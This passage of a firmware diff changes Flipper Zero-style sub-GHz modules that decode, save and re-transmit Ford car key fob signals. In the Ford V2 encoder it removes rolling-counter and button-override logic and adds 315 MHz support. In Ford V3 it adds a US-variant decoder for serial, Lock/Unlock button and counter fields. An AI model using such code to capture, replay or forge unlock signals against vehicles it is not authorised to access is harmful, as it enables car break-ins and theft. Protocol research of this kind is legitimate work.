||||
|
||||
uint32_t cnt = instance->generic.cnt;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &cnt, 1);
|
||||
|
||||
uint32_t tail31 = (((uint32_t)(instance->raw_bytes[9] & 0x7FU)) << 24) |
|
||||
((uint32_t)instance->raw_bytes[10] << 16) |
|
||||
((uint32_t)instance->raw_bytes[11] << 8) |
|
||||
(uint32_t)instance->raw_bytes[12];
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Tail31", &tail31, 1);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_hex(
|
||||
flipper_format, "TailRaw", &instance->raw_bytes[8], FORD_V2_TAIL_RAW_BYTE_COUNT);
|
||||
}
|
||||
|
||||
static inline void ford_v2_encoder_emit_manchester_bit(
|
||||
SubGhzProtocolEncoderFordV2* instance,
|
||||
bool bit) {
|
||||
static inline void
|
||||
ford_v2_encoder_emit_manchester_bit(SubGhzProtocolEncoderFordV2* instance, bool bit) {
|
||||
if(bit) {
|
||||
ford_v2_encoder_add_level(instance, true, FORD_V2_ENC_TE_SHORT);
|
||||
ford_v2_encoder_add_level(instance, false, FORD_V2_ENC_TE_SHORT);
|
||||
@@ -532,46 +456,33 @@ static SubGhzProtocolStatus ford_v2_encoder_deserialize_read_header(
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
static SubGhzProtocolStatus ford_v2_encoder_deserialize_validate_and_pack(
|
||||
SubGhzProtocolEncoderFordV2* instance) {
|
||||
|
||||
static SubGhzProtocolStatus
|
||||
ford_v2_encoder_deserialize_validate_and_pack(SubGhzProtocolEncoderFordV2* instance) {
|
||||
ford_v2_encoder_rebuild_raw_from_payload(instance);
|
||||
|
||||
if(!ford_v2_button_is_valid(instance->raw_bytes[6])) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint16_t cnt = (uint16_t)(
|
||||
(((uint16_t)(instance->raw_bytes[7] & 0x7FU)) << 9) |
|
||||
(((uint16_t)instance->raw_bytes[8]) << 1) |
|
||||
((uint16_t)(instance->raw_bytes[9] >> 7)));
|
||||
|
||||
uint32_t override_cnt = 0;
|
||||
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
|
||||
cnt = override_cnt & 0x7FFFU;
|
||||
} else {
|
||||
cnt = (cnt + furi_hal_subghz_get_rolling_counter_mult()) & 0x7FFFU;
|
||||
}
|
||||
|
||||
ford_v2_encoder_set_counter(instance, cnt);
|
||||
|
||||
ford_v2_encoder_refresh_data_from_raw(instance);
|
||||
instance->generic.btn = instance->raw_bytes[6];
|
||||
instance->generic.serial =
|
||||
((uint32_t)instance->raw_bytes[2] << 24) |
|
||||
((uint32_t)instance->raw_bytes[3] << 16) |
|
||||
((uint32_t)instance->raw_bytes[4] << 8) |
|
||||
(uint32_t)instance->raw_bytes[5];
|
||||
instance->generic.cnt = cnt;
|
||||
((uint32_t)instance->raw_bytes[2] << 24) | ((uint32_t)instance->raw_bytes[3] << 16) |
|
||||
((uint32_t)instance->raw_bytes[4] << 8) | (uint32_t)instance->raw_bytes[5];
|
||||
instance->generic.cnt = (uint16_t)((((uint16_t)(instance->raw_bytes[7] & 0x7FU)) << 9) |
|
||||
(((uint16_t)instance->raw_bytes[8]) << 1) |
|
||||
((uint16_t)(instance->raw_bytes[9] >> 7)));
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
|
||||
static void ford_v2_encoder_deserialize_apply_repeat(SubGhzProtocolEncoderFordV2* instance, FlipperFormat* flipper_format) {
|
||||
static void ford_v2_encoder_deserialize_apply_repeat(
|
||||
SubGhzProtocolEncoderFordV2* instance,
|
||||
FlipperFormat* flipper_format) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t repeat = FORD_V2_ENCODER_DEFAULT_REPEAT;
|
||||
if(flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1)) {
|
||||
instance->encoder.repeat = repeat;
|
||||
instance->encoder.repeat = (int32_t)repeat;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -583,7 +494,7 @@ void* subghz_protocol_encoder_ford_v2_alloc(SubGhzEnvironment* environment) {
|
||||
instance->base.protocol = &ford_protocol_v2;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->encoder.repeat = FORD_V2_ENCODER_DEFAULT_REPEAT;
|
||||
instance->encoder.upload = calloc(FORD_V2_ENC_ALLOC_ELEMS, sizeof(LevelDuration));
|
||||
instance->encoder.upload = calloc(FORD_V2_ENC_UPLOAD_ELEMS, sizeof(LevelDuration));
|
||||
furi_check(instance->encoder.upload);
|
||||
|
||||
return instance;
|
||||
@@ -617,25 +528,6 @@ SubGhzProtocolStatus
|
||||
}
|
||||
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
ford_v2_custom_btn_init(instance->raw_bytes[6]);
|
||||
|
||||
uint8_t new_code = 0;
|
||||
if(subghz_block_generic_global_button_override_get(&new_code)) {
|
||||
ford_v2_encoder_set_button_code(instance, new_code);
|
||||
} else {
|
||||
uint8_t btn_sel = subghz_custom_btn_get();
|
||||
if(btn_sel != SUBGHZ_CUSTOM_BTN_OK) {
|
||||
ford_v2_encoder_set_button_code(instance, ford_v2_custom_btn_to_code(btn_sel));
|
||||
}
|
||||
}
|
||||
|
||||
instance->extra_data = 0;
|
||||
for(uint8_t i = 0; i < FORD_V2_TAIL_RAW_BYTE_COUNT; i++) {
|
||||
instance->extra_data =
|
||||
(instance->extra_data << 8) | (uint64_t)instance->raw_bytes[8U + i];
|
||||
}
|
||||
|
||||
ford_v2_encoder_update_flipper_format(instance, flipper_format);
|
||||
ford_v2_encoder_deserialize_apply_repeat(instance, flipper_format);
|
||||
ford_v2_encoder_build_upload(instance);
|
||||
instance->encoder.is_running = true;
|
||||
@@ -645,7 +537,6 @@ SubGhzProtocolStatus
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
void subghz_protocol_encoder_ford_v2_stop(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderFordV2* instance = context;
|
||||
@@ -665,7 +556,7 @@ LevelDuration subghz_protocol_encoder_ford_v2_yield(void* context) {
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
instance->encoder.front = 0U;
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.repeat--;
|
||||
}
|
||||
|
||||
return ret;
|
||||
@@ -817,17 +708,14 @@ static void ford_v2_decoder_read_tail_raw_if_present(
|
||||
}
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_ford_v2_deserialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format) {
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_ford_v2_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderFordV2* instance = context;
|
||||
|
||||
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_ford_v2_const.min_count_bit_for_found);
|
||||
&instance->generic, flipper_format, subghz_protocol_ford_v2_const.min_count_bit_for_found);
|
||||
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
return ret;
|
||||
@@ -847,25 +735,6 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v2_deserialize(
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
/* Keep custom_btn in sync when loading from file. */
|
||||
ford_v2_custom_btn_init(instance->generic.btn);
|
||||
|
||||
uint8_t btn_sel = subghz_custom_btn_get();
|
||||
if(btn_sel != SUBGHZ_CUSTOM_BTN_OK) {
|
||||
uint8_t new_code = ford_v2_custom_btn_to_code(btn_sel);
|
||||
if(ford_v2_button_is_valid(new_code)) {
|
||||
instance->generic.btn = new_code;
|
||||
instance->raw_bytes[6] = new_code;
|
||||
instance->raw_bytes[7] = (instance->raw_bytes[7] & 0x7FU) |
|
||||
(uint8_t)(ford_v2_uint8_parity(new_code) << 7);
|
||||
instance->generic.data = 0;
|
||||
for(uint8_t i = 0; i < FORD_V2_KEY_BYTE_COUNT; i++) {
|
||||
instance->generic.data =
|
||||
(instance->generic.data << 8) | (uint64_t)instance->raw_bytes[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
@@ -931,10 +800,9 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v2_encoder = {
|
||||
const SubGhzProtocol ford_protocol_v2 = {
|
||||
.name = FORD_PROTOCOL_V2_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save
|
||||
| SubGhzProtocolFlag_Send
|
||||
,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_ford_v2_decoder,
|
||||
.encoder = &subghz_protocol_ford_v2_encoder,
|
||||
};
|
||||
|
||||
@@ -1,19 +1,30 @@
|
||||
#include "ford_v3.h"
|
||||
#include <furi.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
|
||||
#include "../blocks/const.h"
|
||||
#include "../blocks/decoder.h"
|
||||
#include "../blocks/encoder.h"
|
||||
#include "../blocks/generic.h"
|
||||
#include "../blocks/math.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define FORD_V3_TE_SHORT 240U
|
||||
#define FORD_V3_TE_LONG 480U
|
||||
#define FORD_V3_TE_DELTA 60U
|
||||
#define FORD_V3_DATA_BITS 104U
|
||||
#define FORD_V3_DATA_BYTES 13U
|
||||
#define FORD_V3_PREAMBLE_MIN 30U
|
||||
#define FORD_V3_TE_SHORT 240U
|
||||
#define FORD_V3_TE_LONG 480U
|
||||
#define FORD_V3_TE_DELTA 60U
|
||||
#define FORD_V3_CELL_TE_DELTA 120U
|
||||
#define FORD_V3_DATA_BITS 104U
|
||||
#define FORD_V3_DATA_BYTES 13U
|
||||
#define FORD_V3_PREAMBLE_MIN 30U
|
||||
#define FORD_V3_CELL_CAP 320U
|
||||
#define FORD_V3_CELL_MIN 200U
|
||||
#define FORD_V3_CELL_MIN_BITS 100U
|
||||
#define FORD_V3_FF_VARIANT "Variant"
|
||||
|
||||
#define FORD_V3_BTN_LOCK 0x01U
|
||||
#define FORD_V3_BTN_UNLOCK 0x02U
|
||||
|
||||
#define FORD_V3_VARIANT_EU 0U
|
||||
#define FORD_V3_VARIANT_US 1U
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_ford_v3_const = {
|
||||
.te_short = FORD_V3_TE_SHORT,
|
||||
.te_long = FORD_V3_TE_LONG,
|
||||
@@ -21,6 +32,13 @@ static const SubGhzBlockConst subghz_protocol_ford_v3_const = {
|
||||
.min_count_bit_for_found = FORD_V3_DATA_BITS,
|
||||
};
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_ford_v3_cell_const = {
|
||||
.te_short = FORD_V3_TE_SHORT,
|
||||
.te_long = FORD_V3_TE_LONG,
|
||||
.te_delta = FORD_V3_CELL_TE_DELTA,
|
||||
.min_count_bit_for_found = FORD_V3_DATA_BITS,
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
FordV3DecoderStepReset = 0,
|
||||
FordV3DecoderStepPreamble = 1,
|
||||
@@ -33,21 +51,52 @@ typedef struct SubGhzProtocolDecoderFordV3 {
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
ManchesterState manchester_state;
|
||||
uint8_t raw_bytes[FORD_V3_DATA_BYTES];
|
||||
uint8_t bit_count;
|
||||
uint8_t manchester_raw[FORD_V3_DATA_BYTES];
|
||||
uint8_t manchester_bit_count;
|
||||
uint16_t preamble_count;
|
||||
|
||||
uint8_t cells[FORD_V3_CELL_CAP];
|
||||
uint16_t cell_count;
|
||||
|
||||
uint8_t raw_bytes[FORD_V3_DATA_BYTES];
|
||||
uint8_t last_raw_bytes[FORD_V3_DATA_BYTES];
|
||||
bool last_raw_valid;
|
||||
|
||||
uint8_t variant;
|
||||
uint8_t flag;
|
||||
uint32_t serial;
|
||||
uint16_t counter;
|
||||
} SubGhzProtocolDecoderFordV3;
|
||||
|
||||
static void ford_v3_reset_data(SubGhzProtocolDecoderFordV3* instance);
|
||||
static void ford_v3_add_bit(SubGhzProtocolDecoderFordV3* instance, bool bit);
|
||||
static void ford_v3_reset_manchester(SubGhzProtocolDecoderFordV3* instance);
|
||||
static void ford_v3_reset_cells(SubGhzProtocolDecoderFordV3* instance);
|
||||
static void ford_v3_add_manchester_bit(SubGhzProtocolDecoderFordV3* instance, bool bit);
|
||||
static bool ford_v3_cell_frame_valid(const uint8_t* raw);
|
||||
static uint8_t ford_v3_variant_from_saved_or_raw(const uint8_t* raw, uint32_t saved_variant);
|
||||
static void ford_v3_parse_fields(SubGhzProtocolDecoderFordV3* instance);
|
||||
static void ford_v3_emit_if_ready(SubGhzProtocolDecoderFordV3* instance);
|
||||
static const char* ford_v3_button_name(uint8_t btn);
|
||||
static bool ford_v3_commit_frame(
|
||||
SubGhzProtocolDecoderFordV3* instance,
|
||||
const uint8_t* raw,
|
||||
uint8_t variant);
|
||||
static void ford_v3_manchester_emit_if_ready(SubGhzProtocolDecoderFordV3* instance);
|
||||
static void ford_v3_cell_process(SubGhzProtocolDecoderFordV3* instance);
|
||||
static void ford_v3_cell_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration);
|
||||
static void
|
||||
ford_v3_manchester_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration);
|
||||
static const char* ford_v3_button_name(uint8_t btn, uint8_t variant);
|
||||
|
||||
static const char* ford_v3_button_name(uint8_t btn, uint8_t variant) {
|
||||
if(variant == FORD_V3_VARIANT_US) {
|
||||
switch(btn) {
|
||||
case FORD_V3_BTN_LOCK:
|
||||
return "Lock";
|
||||
case FORD_V3_BTN_UNLOCK:
|
||||
return "Unlock";
|
||||
default:
|
||||
return "?";
|
||||
}
|
||||
}
|
||||
|
||||
static const char* ford_v3_button_name(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case FORD_V3_BTN_LOCK:
|
||||
return "Lock";
|
||||
@@ -58,25 +107,62 @@ static const char* ford_v3_button_name(uint8_t btn) {
|
||||
}
|
||||
}
|
||||
|
||||
static void ford_v3_reset_data(SubGhzProtocolDecoderFordV3* instance) {
|
||||
memset(instance->raw_bytes, 0, sizeof(instance->raw_bytes));
|
||||
instance->bit_count = 0;
|
||||
static bool ford_v3_cell_frame_valid(const uint8_t* raw) {
|
||||
if(raw[0] != 0xFFU) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const uint32_t serial = ((uint32_t)raw[1] << 24) | ((uint32_t)raw[2] << 16) |
|
||||
((uint32_t)raw[3] << 8) | (uint32_t)raw[4];
|
||||
if(serial == 0U || serial == 0xFFFFFFFFU) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(raw[6] != FORD_V3_BTN_LOCK && raw[6] != FORD_V3_BTN_UNLOCK) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if((raw[5] & 0x80U) == 0U) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint8_t ford_v3_variant_from_saved_or_raw(const uint8_t* raw, uint32_t saved_variant) {
|
||||
if(saved_variant == FORD_V3_VARIANT_US) {
|
||||
return FORD_V3_VARIANT_US;
|
||||
}
|
||||
if(saved_variant == FORD_V3_VARIANT_EU) {
|
||||
return FORD_V3_VARIANT_EU;
|
||||
}
|
||||
|
||||
return ford_v3_cell_frame_valid(raw) ? FORD_V3_VARIANT_US : FORD_V3_VARIANT_EU;
|
||||
}
|
||||
|
||||
static void ford_v3_reset_manchester(SubGhzProtocolDecoderFordV3* instance) {
|
||||
memset(instance->manchester_raw, 0, sizeof(instance->manchester_raw));
|
||||
instance->manchester_bit_count = 0;
|
||||
instance->preamble_count = 0;
|
||||
manchester_advance(
|
||||
instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
|
||||
}
|
||||
|
||||
static void ford_v3_add_bit(SubGhzProtocolDecoderFordV3* instance, bool bit) {
|
||||
if(instance->bit_count >= FORD_V3_DATA_BITS) {
|
||||
static void ford_v3_reset_cells(SubGhzProtocolDecoderFordV3* instance) {
|
||||
instance->cell_count = 0;
|
||||
}
|
||||
|
||||
static void ford_v3_add_manchester_bit(SubGhzProtocolDecoderFordV3* instance, bool bit) {
|
||||
if(instance->manchester_bit_count >= FORD_V3_DATA_BITS) {
|
||||
return;
|
||||
}
|
||||
|
||||
const uint8_t byte_index = instance->bit_count / 8U;
|
||||
const uint8_t bit_in_byte = 7U - (instance->bit_count % 8U);
|
||||
const uint8_t byte_index = instance->manchester_bit_count / 8U;
|
||||
const uint8_t bit_in_byte = 7U - (instance->manchester_bit_count % 8U);
|
||||
if(bit) {
|
||||
instance->raw_bytes[byte_index] |= (uint8_t)(1U << bit_in_byte);
|
||||
instance->manchester_raw[byte_index] |= (uint8_t)(1U << bit_in_byte);
|
||||
}
|
||||
instance->bit_count++;
|
||||
instance->manchester_bit_count++;
|
||||
}
|
||||
|
||||
static void ford_v3_parse_fields(SubGhzProtocolDecoderFordV3* instance) {
|
||||
@@ -84,25 +170,186 @@ static void ford_v3_parse_fields(SubGhzProtocolDecoderFordV3* instance) {
|
||||
|
||||
instance->serial = ((uint32_t)b[1] << 24) | ((uint32_t)b[2] << 16) | ((uint32_t)b[3] << 8) |
|
||||
(uint32_t)b[4];
|
||||
instance->counter =
|
||||
(uint16_t)((((uint16_t)(uint8_t)~b[7]) << 8) | (uint8_t)~b[8]);
|
||||
|
||||
instance->generic.serial = instance->serial;
|
||||
instance->generic.btn = (b[6] & 0x01U) ? FORD_V3_BTN_UNLOCK : FORD_V3_BTN_LOCK;
|
||||
|
||||
if(instance->variant == FORD_V3_VARIANT_US) {
|
||||
instance->flag = b[5];
|
||||
instance->counter = (uint16_t)(((uint16_t)b[7] << 8) | (uint16_t)b[8]);
|
||||
instance->generic.btn = b[6];
|
||||
} else {
|
||||
instance->flag = 0;
|
||||
instance->counter = (uint16_t)((((uint16_t)(uint8_t)~b[7]) << 8) | (uint8_t)~b[8]);
|
||||
instance->generic.btn = (b[6] & 0x01U) ? FORD_V3_BTN_UNLOCK : FORD_V3_BTN_LOCK;
|
||||
}
|
||||
|
||||
instance->generic.cnt = instance->counter;
|
||||
}
|
||||
|
||||
static void ford_v3_emit_if_ready(SubGhzProtocolDecoderFordV3* instance) {
|
||||
if(instance->bit_count < FORD_V3_DATA_BITS) {
|
||||
return;
|
||||
static bool ford_v3_commit_frame(
|
||||
SubGhzProtocolDecoderFordV3* instance,
|
||||
const uint8_t* raw,
|
||||
uint8_t variant) {
|
||||
if(instance->last_raw_valid && memcmp(instance->last_raw_bytes, raw, FORD_V3_DATA_BYTES) == 0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
memcpy(instance->raw_bytes, raw, FORD_V3_DATA_BYTES);
|
||||
memcpy(instance->last_raw_bytes, raw, FORD_V3_DATA_BYTES);
|
||||
instance->last_raw_valid = true;
|
||||
|
||||
instance->variant = variant;
|
||||
instance->generic.data_count_bit = FORD_V3_DATA_BITS;
|
||||
ford_v3_parse_fields(instance);
|
||||
|
||||
if(instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void ford_v3_manchester_emit_if_ready(SubGhzProtocolDecoderFordV3* instance) {
|
||||
if(instance->manchester_bit_count < FORD_V3_DATA_BITS) {
|
||||
return;
|
||||
}
|
||||
|
||||
(void)ford_v3_commit_frame(instance, instance->manchester_raw, FORD_V3_VARIANT_EU);
|
||||
}
|
||||
|
||||
static bool ford_v3_cell_decode(const uint8_t* cells, uint16_t cell_count, uint8_t* raw_out) {
|
||||
for(int phase = 0; phase < 2; phase++) {
|
||||
uint8_t frame[FORD_V3_DATA_BYTES];
|
||||
memset(frame, 0, sizeof(frame));
|
||||
|
||||
int bit_count = 0;
|
||||
bool ok = true;
|
||||
for(int i = phase; (i + 1) < (int)cell_count && bit_count < (int)FORD_V3_DATA_BITS; i += 2) {
|
||||
const uint8_t first = cells[i];
|
||||
const uint8_t second = cells[i + 1];
|
||||
if(first == second) {
|
||||
ok = false;
|
||||
break;
|
||||
}
|
||||
if(first) {
|
||||
frame[bit_count >> 3] |= (uint8_t)(1U << (7 - (bit_count & 7)));
|
||||
}
|
||||
bit_count++;
|
||||
}
|
||||
|
||||
if(!ok || bit_count < (int)FORD_V3_CELL_MIN_BITS) {
|
||||
continue;
|
||||
}
|
||||
if(!ford_v3_cell_frame_valid(frame)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
memcpy(raw_out, frame, FORD_V3_DATA_BYTES);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void ford_v3_cell_process(SubGhzProtocolDecoderFordV3* instance) {
|
||||
if(instance->cell_count < FORD_V3_CELL_MIN) {
|
||||
return;
|
||||
}
|
||||
|
||||
uint8_t raw[FORD_V3_DATA_BYTES];
|
||||
if(!ford_v3_cell_decode(instance->cells, instance->cell_count, raw)) {
|
||||
return;
|
||||
}
|
||||
|
||||
(void)ford_v3_commit_frame(instance, raw, FORD_V3_VARIANT_US);
|
||||
}
|
||||
|
||||
static void ford_v3_cell_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration) {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_cell_const.te_short) < subghz_protocol_ford_v3_cell_const.te_delta) {
|
||||
if(instance->cell_count < FORD_V3_CELL_CAP) {
|
||||
instance->cells[instance->cell_count++] = level ? 1U : 0U;
|
||||
}
|
||||
} else if(DURATION_DIFF(duration, subghz_protocol_ford_v3_cell_const.te_long) < subghz_protocol_ford_v3_cell_const.te_delta) {
|
||||
if(instance->cell_count + 2U <= FORD_V3_CELL_CAP) {
|
||||
instance->cells[instance->cell_count++] = level ? 1U : 0U;
|
||||
instance->cells[instance->cell_count++] = level ? 1U : 0U;
|
||||
}
|
||||
} else {
|
||||
ford_v3_cell_process(instance);
|
||||
instance->cell_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
ford_v3_manchester_feed(SubGhzProtocolDecoderFordV3* instance, bool level, uint32_t duration) {
|
||||
switch(instance->decoder.parser_step) {
|
||||
case FordV3DecoderStepReset:
|
||||
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) {
|
||||
ford_v3_reset_manchester(instance);
|
||||
instance->preamble_count = 1U;
|
||||
instance->decoder.parser_step = FordV3DecoderStepPreamble;
|
||||
}
|
||||
break;
|
||||
|
||||
case FordV3DecoderStepPreamble:
|
||||
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) {
|
||||
instance->preamble_count++;
|
||||
} else if(
|
||||
instance->preamble_count >= FORD_V3_PREAMBLE_MIN &&
|
||||
DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_long) < subghz_protocol_ford_v3_const.te_delta) {
|
||||
instance->manchester_state = ManchesterStateMid1;
|
||||
|
||||
const ManchesterEvent event = level ? ManchesterEventLongHigh : ManchesterEventLongLow;
|
||||
|
||||
bool data_bit = false;
|
||||
const bool valid = manchester_advance(
|
||||
instance->manchester_state, event, &instance->manchester_state, &data_bit);
|
||||
if(valid) {
|
||||
ford_v3_add_manchester_bit(instance, data_bit);
|
||||
}
|
||||
instance->decoder.parser_step = FordV3DecoderStepData;
|
||||
} else {
|
||||
instance->decoder.parser_step = FordV3DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case FordV3DecoderStepData:
|
||||
if(!(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) &&
|
||||
!(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_long) < subghz_protocol_ford_v3_const.te_delta)) {
|
||||
ford_v3_manchester_emit_if_ready(instance);
|
||||
instance->decoder.parser_step = FordV3DecoderStepReset;
|
||||
|
||||
if(DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta) {
|
||||
ford_v3_reset_manchester(instance);
|
||||
instance->preamble_count = 1U;
|
||||
instance->decoder.parser_step = FordV3DecoderStepPreamble;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
ManchesterEvent event;
|
||||
if(level) {
|
||||
event = DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta ?
|
||||
ManchesterEventShortHigh :
|
||||
ManchesterEventLongHigh;
|
||||
} else {
|
||||
event = DURATION_DIFF(duration, subghz_protocol_ford_v3_const.te_short) < subghz_protocol_ford_v3_const.te_delta ?
|
||||
ManchesterEventShortLow :
|
||||
ManchesterEventLongLow;
|
||||
}
|
||||
|
||||
bool data_bit = false;
|
||||
const bool valid = manchester_advance(
|
||||
instance->manchester_state, event, &instance->manchester_state, &data_bit);
|
||||
|
||||
if(valid) {
|
||||
ford_v3_add_manchester_bit(instance, data_bit);
|
||||
if(instance->manchester_bit_count >= FORD_V3_DATA_BITS) {
|
||||
ford_v3_manchester_emit_if_ready(instance);
|
||||
instance->decoder.parser_step = FordV3DecoderStepReset;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_ford_v3_alloc(SubGhzEnvironment* environment) {
|
||||
@@ -117,88 +364,27 @@ void* subghz_protocol_decoder_ford_v3_alloc(SubGhzEnvironment* environment) {
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ford_v3_free(void* context) {
|
||||
furi_check(context);
|
||||
free(context);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ford_v3_reset(void* context) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderFordV3* instance = context;
|
||||
instance->decoder.parser_step = FordV3DecoderStepReset;
|
||||
ford_v3_reset_data(instance);
|
||||
ford_v3_reset_manchester(instance);
|
||||
ford_v3_reset_cells(instance);
|
||||
instance->last_raw_valid = false;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_ford_v3_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderFordV3* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case FordV3DecoderStepReset:
|
||||
if((DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA)) {
|
||||
ford_v3_reset_data(instance);
|
||||
instance->preamble_count = 1U;
|
||||
instance->decoder.parser_step = FordV3DecoderStepPreamble;
|
||||
}
|
||||
break;
|
||||
|
||||
case FordV3DecoderStepPreamble:
|
||||
if((DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA)) {
|
||||
instance->preamble_count++;
|
||||
} else if(
|
||||
instance->preamble_count >= FORD_V3_PREAMBLE_MIN &&
|
||||
(DURATION_DIFF(duration, FORD_V3_TE_LONG) < (int32_t)FORD_V3_TE_DELTA)) {
|
||||
instance->manchester_state = ManchesterStateMid1;
|
||||
|
||||
const ManchesterEvent event =
|
||||
level ? ManchesterEventLongHigh : ManchesterEventLongLow;
|
||||
|
||||
bool data_bit = false;
|
||||
const bool valid = manchester_advance(
|
||||
instance->manchester_state, event, &instance->manchester_state, &data_bit);
|
||||
if(valid) {
|
||||
ford_v3_add_bit(instance, data_bit);
|
||||
}
|
||||
instance->decoder.parser_step = FordV3DecoderStepData;
|
||||
} else {
|
||||
instance->decoder.parser_step = FordV3DecoderStepReset;
|
||||
}
|
||||
break;
|
||||
|
||||
case FordV3DecoderStepData: {
|
||||
if(!(DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA) &&
|
||||
!(DURATION_DIFF(duration, FORD_V3_TE_LONG) < (int32_t)FORD_V3_TE_DELTA)) {
|
||||
ford_v3_emit_if_ready(instance);
|
||||
instance->decoder.parser_step = FordV3DecoderStepReset;
|
||||
|
||||
if((DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA)) {
|
||||
ford_v3_reset_data(instance);
|
||||
instance->preamble_count = 1U;
|
||||
instance->decoder.parser_step = FordV3DecoderStepPreamble;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
ManchesterEvent event;
|
||||
if(level) {
|
||||
event = (DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA) ? ManchesterEventShortHigh :
|
||||
ManchesterEventLongHigh;
|
||||
} else {
|
||||
event = (DURATION_DIFF(duration, FORD_V3_TE_SHORT) < (int32_t)FORD_V3_TE_DELTA) ? ManchesterEventShortLow :
|
||||
ManchesterEventLongLow;
|
||||
}
|
||||
|
||||
bool data_bit = false;
|
||||
const bool valid = manchester_advance(
|
||||
instance->manchester_state, event, &instance->manchester_state, &data_bit);
|
||||
|
||||
if(valid) {
|
||||
ford_v3_add_bit(instance, data_bit);
